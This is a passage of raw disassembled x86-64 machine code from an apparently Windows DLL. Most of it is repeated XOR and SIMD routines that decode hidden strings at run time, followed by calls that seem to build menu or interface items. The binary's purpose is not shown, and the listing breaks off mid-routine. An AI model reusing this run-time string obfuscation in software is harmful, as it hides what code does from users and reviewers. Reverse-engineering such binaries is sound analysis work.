lea rcx, [rbp + 0x2fb0]
call fcn.180063f30
lea rcx, [rbp + 0x2fb0]
call fcn.18006e260
movzx eax, byte [0x18023bf66]
mov byte [0x1802402a8], 1
test al, al
jne 0x180081f0d
mov byte [0x1802402a8], sil
call fcn.180016840
addss xmm0, xmm6
call fcn.180025650
movups xmm0, xmmword [str.bFG_]
movups xmmword [rbp + 0x1e00], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180082090
cmp r12d, 2
jl 0x18008204b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e04]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180081f60
jmp 0x180082090
lea r9, [rbp + 0x1e00]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180082060
lea rdx, [0x18023bf67]
lea rcx, [rbp + 0x1e00]
call fcn.1800031c0
jmp 0x1800820ad
movss xmm6, dword [0x1801a17d4]
cmp byte [reloc.WS2_32.dll_gethostname], sil
mov rax, qword [0x1801b6ce0]
mov qword [rbp + 0x3a8], rax
je 0x1800821f0
cmp r12d, 2
jl 0x1800821ac
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x3a8]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm15
xorps xmm2, xmm1
punpckhdq xmm0, xmm15
movd dword [rbp + 0x3a8], xmm2
movdqa xmm1, xmm15
pmuldq xmm0, xmm14
movdqa xmm2, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x3ac]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x3ac], xmm2
jmp 0x1800821f0
lea r9, [rbp + 0x3a8]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800821c0
lea rdx, [0x18023bf71]
lea rcx, [rbp + 0x3a8]
call fcn.1800031c0
mov eax, dword [0x1801b6ce8]
lea rdx, [0x18023bf5d]
mov dword [rbp + 0x188], eax
lea rcx, [rbp + 0x188]
movzx eax, word [0x1801b6cec]
xor byte [rbp + 0x189], 0x33
xor byte [rbp + 0x18a], 0x34
xor byte [rbp + 0x18b], 0x35
mov word [rbp + 0x18c], ax
movzx eax, byte [0x1801b6cee]
xor byte [rbp + 0x18c], 0x36
xor al, 0x38
xor byte [rbp + 0x18d], 0x37
mov byte [rbp + 0x18e], al
mov byte [rbp + 0x188], Ordinal_79
call fcn.1800031c0
cmp byte [0x18023bf5d], sil
je 0x180082403
call fcn.180016840
addss xmm0, xmm6
call fcn.180025650
movzx eax, byte [0x1801b6d00]
mov r8d, esi
mov byte [rbp + 0x1f90], al
movups xmm0, xmmword [str._BEZU_erR_S_1B]
movups xmmword [rbp + 0x1f80], xmm0
cmp r12d, 2
jl 0x1800823b1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1f84]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800822c0
cmp r8d, 0x11
jge 0x1800823f0
movsxd rax, r8d
lea r9, [rbp + 0x1f80]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800823c0
lea rdx, [0x18023bf5e]
lea rcx, [rbp + 0x1f80]
call fcn.1800031c0
cmp byte [0x1801b6d11], sil
lea rdx, [0x18023bf87]
movsd xmm0, qword [0x1801b6d08]
lea rcx, [rbp + 0x1060]
movzx eax, word [0x1801b6d10]
movsd qword [rbp + 0x1060], xmm0
mov word [rbp + 0x1068], ax
je 0x18008247e
xor byte [rbp + 0x1061], 0x33
xor byte [rbp + 0x1062], 0x34
xor byte [rbp + 0x1063], 0x35
xor byte [rbp + 0x1064], 0x36
xor byte [rbp + 0x1065], 0x37
xor byte [rbp + 0x1066], 0x38
xor byte [rbp + 0x1067], 0x39
xor byte [rbp + 0x1068], 0x3a
xor byte [rbp + 0x1069], 0x3b
mov byte [rbp + 0x1060], 0x41
call fcn.1800031c0
movzx eax, word [0x1801b6d20]
lea rdx, [0x18023bfa6]
movsd xmm0, qword [0x1801b6d18]
lea rcx, [rbp + 0x1270]
movsd qword [rbp + 0x1270], xmm0
xor byte [rbp + 0x1271], 0x33
xor byte [rbp + 0x1272], 0x34
xor byte [rbp + 0x1273], 0x35
xor byte [rbp + 0x1274], 0x36
xor byte [rbp + 0x1275], 0x37
xor byte [rbp + 0x1276], 0x38
xor byte [rbp + 0x1277], 0x39
mov word [rbp + 0x1278], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1278], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1279], 0x3b
mov byte [rbp + 0x127a], al
mov byte [rbp + 0x1270], 0x41
call fcn.1800031c0
cmp byte [0x1801b6d33], sil
movsd xmm0, qword [str.fZZL]
mov eax, dword [0x1801b6d30]
movsd qword [rbp + 0x13c0], xmm0
mov dword [rbp + 0x13c8], eax
je 0x180082660
mov r8d, esi
cmp r12d, 2
jl 0x18008261d
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.fZZL]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x13c0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x13c4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x13c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x13c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180082630
lea rdx, [0x18023bf70]
lea rcx, [rbp + 0x13c0]
call fcn.1800031c0
movzx eax, word [0x1801b6d40]
lea rdx, [0x18023bf83]
movsd xmm0, qword [str.aFDPD]
lea rcx, [rbp + 0x1280]
movsd qword [rbp + 0x1280], xmm0
xor byte [rbp + 0x1281], 0x33
xor byte [rbp + 0x1282], 0x34
xor byte [rbp + 0x1283], 0x35
xor byte [rbp + 0x1284], 0x36
xor byte [rbp + 0x1285], 0x37
xor byte [rbp + 0x1286], 0x38
xor byte [rbp + 0x1287], 0x39
mov word [rbp + 0x1288], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1288], 0x3a
xor al, 0x3c
xor byte [rbp + 0x1289], 0x3b
mov byte [rbp + 0x128a], al
mov byte [rbp + 0x1280], 0x53
call fcn.1800031c0
movzx ecx, word [0x1801b6d50]
lea rdx, [0x18023bf82]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.pVUFB]
xor al, 0x3c
movsd qword [rbp + 0x1290], xmm0
xor byte [rbp + 0x1291], 0x33
xor byte [rbp + 0x1292], 0x34
xor byte [rbp + 0x1293], 0x35
xor byte [rbp + 0x1294], 0x36
xor byte [rbp + 0x1295], 0x37
xor byte [rbp + 0x1296], 0x38
xor byte [rbp + 0x1297], 0x39
mov word [rbp + 0x1298], cx
xor cl, 0x3a
xor byte [rbp + 0x1299], 0x3b
mov byte [rbp + 0x1298], cl
lea rcx, [rbp + 0x1290]
mov byte [rbp + 0x1290], 0x42
mov byte [rbp + 0x129a], al
call fcn.1800031c0
mov eax, dword [0x1801b6d60]
mov r8d, esi
movsd xmm0, qword [0x1801b6d58]
mov dword [rbp + 0x1c18], eax
movzx eax, word [0x1801b6d64]
mov word [rbp + 0x1c1c], ax
movzx eax, byte [0x1801b6d66]
mov byte [rbp + 0x1c1e], al
movsd qword [rbp + 0x1c10], xmm0
cmp r12d, 2
jl 0x1800828a3
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6d58]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c10], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c14]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c14], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c10]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800828b0
lea rdx, [0x18023bf81]
lea rcx, [rbp + 0x1c10]
call fcn.1800031c0
movups xmm0, xmmword [str.wKDYYDQO_eqXRZ_A_RXL_]
movups xmmword [rbp + 0x1e10], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180082a70
cmp r12d, 2
jl 0x180082a2b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e14]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180082940
jmp 0x180082a70
lea r9, [rbp + 0x1e10]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180082a40
lea rdx, [0x18023bf72]
lea rcx, [rbp + 0x1e10]
call fcn.1800031c0
cmp byte [0x1801b6d85], sil
mov eax, dword [0x1801b6d80]
movsd xmm0, qword [0x1801b6d78]
mov dword [rbp + 0x19f8], eax
movzx eax, word [0x1801b6d84]
mov word [rbp + 0x19fc], ax
movsd qword [rbp + 0x19f0], xmm0
je 0x180082bf0
mov r8d, esi
cmp r12d, 2
jl 0x180082ba5
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b6d78]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x19f0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x19f4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x19f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x19f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180082bc0
lea rdx, [0x18023bf84]
lea rcx, [rbp + 0x19f0]
call fcn.1800031c0
cmp byte [0x1801b6d91], sil
movsd xmm0, qword [str.tR_P]
movzx eax, word [0x1801b6d90]
movsd qword [rbp + 0x1070], xmm0
mov word [rbp + 0x1078], ax
je 0x180082c70
xor byte [rbp + 0x1071], 0x33
xor byte [rbp + 0x1072], 0x34
xor byte [rbp + 0x1073], 0x35
xor byte [rbp + 0x1074], 0x36
xor byte [rbp + 0x1075], 0x37
xor byte [rbp + 0x1076], 0x38
xor byte [rbp + 0x1077], 0x39
xor byte [rbp + 0x1078], 0x3a
xor byte [rbp + 0x1079], 0x3b
mov byte [rbp + 0x1070], 0x46
lea r8, [0x18023c278]
lea rdx, [0x18023bf85]
lea rcx, [rbp + 0x1070]
call fcn.18006dda0
cmp byte [0x1801b6da3], sil
movsd xmm0, qword [str._V__DY]
mov eax, dword [0x1801b6da0]
movsd qword [rbp + 0x14f8], xmm0
mov dword [rbp + 0x1500], eax
je 0x180082de0
mov r8d, esi
cmp r12d, 2
jl 0x180082d9e
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._V__DY]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x14f8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14fc]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14fc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14f8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180082db0
lea r8, [0x18023c274]
lea rdx, [0x18023bf80]
lea rcx, [rbp + 0x14f8]
call fcn.18006dda0
mov eax, dword [0x1801b6da4]
lea r8, [0x18023c27c]
mov dword [rbp + 0xc0], eax
lea rdx, [0x18023bf73]
movzx eax, word [0x1801b6da8]
lea rcx, [rbp + 0xc0]
xor byte [rbp + 0xc1], 0x33
xor byte [rbp + 0xc2], 0x34
xor byte [rbp + 0xc3], 0x35
mov word [rbp + 0xc4], ax
xor byte [rbp + 0xc4], 0x36
xor byte [rbp + 0xc5], 0x37
mov byte [rbp + 0xc0], 0x53
call fcn.18006dda0
mov eax, dword [0x1801b6dc0]
mov r8d, esi
mov dword [rbp + 0x2548], eax
movzx eax, word [0x1801b6dc4]
mov word [rbp + 0x254c], ax
movzx eax, byte [0x1801b6dc6]
mov byte [rbp + 0x254e], al
movups xmm0, xmmword [0x1801b6db0]
movups xmmword [rbp + 0x2538], xmm0
cmp r12d, 2
jl 0x180082fa1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x253c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180082eb0
cmp r8d, 0x17
jge 0x180082fe0
movsxd rax, r8d
lea r9, [rbp + 0x2538]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x180082fb0
lea rdx, [0x18023c16e]
lea rcx, [rbp + 0x2538]
call fcn.1800031c0
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x3b0]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0x3b0], 0x44070000
movss dword [rbp + 0x3b4], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b6dcc]
lea rdx, [rbp + 0x3b8]
mov eax, dword [0x1801b6dc8]
mov r9d, 8
mov dword [rbp + 0x190], eax
xor r8d, r8d
movzx eax, byte [0x1801b6dce]
xor byte [rbp + 0x191], 0x33
xor al, 0x38
xor byte [rbp + 0x192], 0x34
xor byte [rbp + 0x193], 0x35
mov word [rbp + 0x194], cx
xor cl, 0x36
xor byte [rbp + 0x195], 0x37
mov byte [rbp + 0x194], cl
lea rcx, [rbp + 0x190]
mov dword [rbp + 0x3b8], 0x43a00000
mov dword [rbp + 0x3bc], 0x4405c000
mov byte [rbp + 0x190], Ordinal_79
mov byte [rbp + 0x196], al
call fcn.18000fbb0
cmp byte [0x1801b6dd9], sil
movsd xmm0, qword [0x1801b6dd0]
movzx eax, word [0x1801b6dd8]
movsd qword [rbp + 0x1040], xmm0
mov word [rbp + 0x1048], ax
mov dword [rbp + 0x3c0], 0x43a00000
mov dword [rbp + 0x3c4], 0x433e0000
je 0x180083131
xor byte [rbp + 0x1041], 0x33
xor byte [rbp + 0x1042], 0x34
xor byte [rbp + 0x1043], 0x35
xor byte [rbp + 0x1044], 0x36
xor byte [rbp + 0x1045], 0x37
xor byte [rbp + 0x1046], 0x38
xor byte [rbp + 0x1047], 0x39
xor byte [rbp + 0x1048], 0x3a
xor byte [rbp + 0x1049], 0x3b
mov byte [rbp + 0x1040], 0x46
xor r9d, r9d
lea rdx, [rbp + 0x3c0]
mov r8b, 1
lea rcx, [rbp + 0x1040]
call fcn.180003bf0
lea rcx, [rbp + 0x3c8]
call fcn.180016730
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x18]
movss xmm0, dword [rax]
mov eax, dword [str.zVUY6]
mov dword [rbp - 0x18], eax
movzx eax, byte [0x1801b6de0]
xor byte [rbp - 0x17], 0x33
xor al, 0x36
xor byte [rbp - 0x16], 0x34
xor byte [rbp - 0x15], 0x35
mov byte [rbp - 0x14], al
movss dword [rbp + 0x3d0], xmm0
mov dword [rbp + 0x3d4], 0x41f00000
mov byte [rbp - 0x18], 0x48
call fcn.180002b60
test al, al
je 0x1800831c8
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
mov rax, qword [rcx + 8]
test rax, rax
je 0x1800831c8
movss xmm0, dword [0x18023bf8c]
movss dword [rax + 0x280], xmm0
call fcn.180016870
addss xmm0, xmm6
call fcn.180025690
lea rcx, [rbp + 0x3d8]
call fcn.180016730
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xc8]
movss xmm0, dword [rax]
mov eax, dword [0x1801b6de4]
mov dword [rbp + 0xc8], eax
movzx eax, word [0x1801b6de8]
xor byte [rbp + 0xc9], 0x33
xor byte [rbp + 0xca], 0x34
xor byte [rbp + 0xcb], 0x35
mov word [rbp + 0xcc], ax
xor al, 0x36
xor byte [rbp + 0xcd], 0x37
mov byte [rbp + 0xcc], al
movss dword [rbp + 0x3e0], xmm0
mov dword [rbp + 0x3e4], 0x41f00000
mov byte [rbp + 0xc8], 0x41
call fcn.180002b60
test al, al
je 0x18008327b
mov rax, qword [0x18023ff58]
mov rcx, qword [rax]
mov rdx, qword [rcx + 8]
test rdx, rdx
je 0x18008327b
mov rax, qword [0x180240000]
movss xmm0, dword [0x18023bf90]
movss dword [rdx + rax], xmm0
call fcn.180016870
addss xmm0, xmm6
call fcn.180025690
lea rcx, [rbp + 0x3e8]
call fcn.180016730
cmp byte [0x1801b6dfd], sil
movss xmm0, dword [rax]
mov eax, dword [0x1801b6df8]
movss dword [rbp + 0x3f0], xmm0
movsd xmm0, qword [str._RZQYZ]
mov dword [rbp + 0x1a08], eax
movzx eax, word [0x1801b6dfc]
movsd qword [rbp + 0x1a00], xmm0
mov word [rbp + 0x1a0c], ax
mov dword [rbp + 0x3f4], 0x41f00000
je 0x180083410
mov r8d, esi
cmp r12d, 2
jl 0x1800833cd
movd eax, xmm9
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
